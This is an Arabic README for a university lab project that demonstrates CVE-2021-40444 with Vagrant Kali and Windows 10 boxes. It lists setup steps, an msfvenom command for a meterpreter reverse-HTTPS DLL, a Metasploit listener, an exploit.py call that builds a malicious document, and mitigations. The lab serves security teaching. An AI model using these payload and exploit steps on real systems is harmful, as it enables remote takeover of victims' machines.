TIC4301_Project

مشروع TIC4301 - CVE-2021-40444

حمّل صناديق Vagrant التالية:
Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing
Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing

استورد الصناديق باستخدام الأوامر التالية عبر vagrant:

1. vagrant box add kali_package.box
2. vagrant box add victim_package.box
3. vagrant init kali_package.box
4. vagrant init victim_package.box
5. vagrant up

الإعداد (win10):

1. في صندوق win10، سجّل الدخول كمسؤول بكلمة المرور vagrant.
2. انقر بزر الفأرة الأيمن على script.ps1 على سطح المكتب وقم بتشغيله باستخدام powershell. (اتركه مفتوحًا)
3. قم بتشغيل ipconfig.exe واحصل على عنوان هذا المضيف.

الإعداد (Kali):

1. cd Desktop/CVE-2021-40444.
2. قم بتوليد ملف dll الخبيث الخاص بك باستخدام msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
3. شغّل مستمعًا في metasploit.
4. قم بتوليد المستند الخبيث. # python3 exploit.py generate test/calc.dll http://
5. قم بزيارة http://<win 10 IP>/upload وارفع الملف.
6. انتظر وصول الـ shell.

التخفيفات:

1. قم بتثبيت الإصلاح العاجل KB5005565.
2. قم بتعديل سجل Windows باستخدام patch.reg في المستودع.